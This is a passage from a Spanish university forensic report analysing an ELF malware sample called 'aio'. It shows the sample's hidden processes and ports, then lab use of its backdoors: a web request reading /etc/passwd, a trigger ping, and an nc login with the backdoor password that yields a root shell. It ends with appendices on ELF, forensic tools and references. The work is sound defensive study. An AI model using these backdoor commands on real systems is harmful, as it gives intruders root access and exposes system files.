root 5195 1 0 06:49 ? 00:00:00 [login]

root 5196 5195 0 06:49 ? 00:00:00 [su]

root 5209 3635 0 06:54 pts/7 00:00:00 ps -eaf

Estos procesos son sospechosos, ya que se lanzaron justo después de ejecutar aio. Ambas cadena

de caracteres, [login] y [su], las visualizamos previamente dentro de los strings del binario. [login]

es el padre del proceso [su].

$ netstat -anp

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State

PID/Program name

tcp 0 0 0.0.0.0:68 0.0.0.0:* LISTEN

2221/pump

tcp 0 0 0.0.0.0:8008 0.0.0.0:* LISTEN

5195/[login]

tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN

2631/Xorg

tcp 0 0 192.168.8.77:47643 192.168.8.13:22

ESTABLISHED3511/ssh

raw 0 0 0.0.0.0:1 0.0.0.0:* 7

5196/[su]

El proceso [login] (PID 5195) está esperando conexiones tcp en el puerto 8008, y el [su] (PID

5196) conexiones raw en el puerto 1.

Siguiendo las intrucciones presentes en el fuente del allinone, utilizamos el browser para

conectarnos al servidor web.

53

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

$ GET http://localhost:8008/givemefile/etc/passwd

El servidor web que el malware instaló esta funcionando correctamente, comprometiendo el host.

Illustration 1: Firefox - http://localhost:8008/givemfile/etc/passwd

Intentermos ahora utilizar el backdoor ICMP, siguiendo las instrucciones encontradas en el fuente

de allinone.

$ ping -s 101 -c 4 192.168.8.77

PING 192.168.8.77 (192.168.8.77) 101(129) bytes of data.

109 bytes from 192.168.8.77: icmp_seq=1 ttl=64 time=0.027 ms

109 bytes from 192.168.8.77: icmp_seq=2 ttl=64 time=0.024 ms

109 bytes from 192.168.8.77: icmp_seq=3 ttl=64 time=0.024 ms

109 bytes from 192.168.8.77: icmp_seq=4 ttl=64 time=0.024 ms

$ nc 192.168.8.77 8080

Enter Your password: kissme:)

54

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

========Welcome to http://www.cnhonker.com========

==========You got it, have a goodluck. :)=========

Your command: whoami

root

ls

KNOPPIX

bin

boot

bootsplash

cdrom

dev

etc

home

lib

media

mnt

none

opt

proc

ramdisk

root

sbin

sys

tmp

usr

var

Utilizamos el ethereal para capturar el tráfico en la interfaz de red eth0 durante la intrusión.

55

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Illustration 2: Ethereal - Conexion por el backdoor

También tuvimos éxito en utilizar el backdoor instalado por aio.

Aquí termina nuestro analisis del archivo binario desconocido aio.

56

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

ANEXO 1 - Referencias técnicas

ELF

Linking view

ELF Header

Program Header Table (optional)

Section 1

Section 2

Section 3

Section 4

Section Header Table

Execution View

ELF Header

Program Header Table

Section 1

Section 2

Section 3

Section 4

Section Header Table (optional)

Header /usr/include/elf.h /* The ELF file header. This appears at the start of every ELF file. */ #define EI_NIDENT (16) typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr;

57

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

ANEXO 2 – Herramientas comerciales

En la siguiente tabla se listan algunos de las herramientas comerciales para el análisis forense.

Producto Descripción

EnCase Forensic Proporciona herramientas avanzadas para el Análisis Forense de Sistemas e

Investigaciones Digitales. Con un entorno gráfico intuitivo, flexible y un alto

rendimiento, proporciona a los investigadores todo lo necesario para realizar análisis

a gran escala en investigaciones complejas con precisión y seguridad.

Busca garantizar por completo la integridad de la información tratada permitiendo a

los analistas gestionar con facilidad grandes volúmenes de pruebas digitales incluso

en ficheros borrados, en áreas de slack, zonas de paginación y clusters sin asignar.

• Adquisición de imágenes forenses utilizando técnicas no invasivas con

soporte para múltiples sistemas: Windows, MAC OS, Linux, Solaris, HP UX

• Soporte Unicode completo

• Capacidad para análisis concurrente de múltiples sistemas

• Herramientas de búsqueda avanzada

• Soporte para RAID 0,1 y 5

• Soporte para Sistemas de Fichero NTFS comprimidos

• Gestión de filtros compuestos

• Tiempos de respuesta únicos gracias a múltiples caches a nivel de sector y

algoritmos de búsqueda optimizados

Ofrece una mejora en el análisis de las comunicaciones via e-mail, soportando un

abanico más amplio de herramientas de correo tanto corporativo como Webmail.

Ofrece facilidades en la visualización de páginas HTML de Internet, del Cache, así

como del histórial.

Administración de la "Digital Evidence". Permite la creación de "Logical Evidence

Files" que contengan únicamente aquellos ficheros seleccionados, con autenticación

MD5.

Soporte para la creación y edición de "Logical Volumes" para una mejor

administración del caso.

Permite la utilización de múltiples monitores para mostrar ventanas distintas, en un

mismo caso, a discreción del analista.

Posibilita la conversión de las keywords de un caso concreto, en recursos disponibles

para la gestión de futuros casos.

http://www.guidancesoftware.com/products/ef_index.asp

Forensic Toolkit

(FTK)

FTK permite realizar examinaciones forenses completas y cuidadosas. Las

características de FTK incluyen funcionalidad de gran alcance para el filtro y la

búsqueda de archivos. Filtros personalizables.

FTK se reconoce como la herramienta forense principal para realizar análisis de

58

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

emails.

El explorador de FTK permite que se navegue rápidamente con imágenes adquiridas.

Generar los registros de la intervención y encajonar los informes.

Localizar los patrones binarios usando búsquedas complejas.

Recuperar automáticamente los archivos y las particiones suprimidos.

Los formatos soportados incluyen: NTFS, NTFS comprimido, FAT 12/16/32, y

Linux ext2 y ext3.

Recupera emails suprimidos y parcialmente suprimidos.

Extrae automáticamente los datos de PKZIP, de WinZip, de WinRAR y de GZIP.

http://www.accessdata.com/common/pagedetail.aspx?PageCode=homepage

Helix Forensic Helix es una distribución personalizada de Knoppix Live Linux CD. Helix es más

que solo un bootable live CD, porque también permite bootear en un ambiente Linux

particularizado que pueden incluir kernels personalizados, con excelente detección de

hardware y un compendio de aplicaciones dedicadas al análisis forense y la atención

de incidentes de IT.

Helix ha sido modificado cuidadosamente para NO alterar el host y la evidencia

digital potencial. También tiene una aplicación que se ejecuta en Windows para

brindar herramientas de análisis forense y respuesta a incidentes.

http://www.e-fense.com/helix/

59

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Glosario

time bomb (bomba de tiempo): referencia a un programa cuya ejecución se realizará tras

transcurrir un periodo de tiempo determinado y su accionar comprometerá el sistema que lo aloja.

backdoor (puerta trasera): referencia a un méetodo que permite traspasar la seguridad de un

sistema mientras trata de mantenerse oculto ante inspecciones casuales.

ELF (Executable and Linking Format): formato binario para código ejecutable. Se utiliza para

un archivo ejecutable o una librería compartida (shared library) comúnmente utilizado en Unix.

60

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Bibliografía

[Farmer 2004] Dan Farmer, Wietse Venema, Forensic Discovery, September 2004.

[Jones 2005] Keith J. Jones, Richard Bejtlich, Curtis W. Rose, Real Digital Forensics: Computer

Security and Incident Response, September 2005.

[Levine 1999] John R. Levine, Linkers and Loaders, Octubre 1999.

[Petersson 2005] Johan Petersson, “What is linux-gate.so.1?”, Agosto 2005,

http://www.trilithium.com/johan/2005/08/linux-gate/.

[EnCase-Site] http://www.guidancesoftware.com/products/ef_index.asp, accedido el 25/06/2007.

[FTK-Site] http://www.accessdata.com/common/pagedetail.aspx?PageCode=homepage, accedido

el 29/06/2007.

[cybex-Site] http://www.cybex.es/es/servicios_herramientas.htm, accedido el 25/06/2007.

[helix-Site] http://www.e-fense.com/helix/, accedido el 29/06/2007.

61

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

62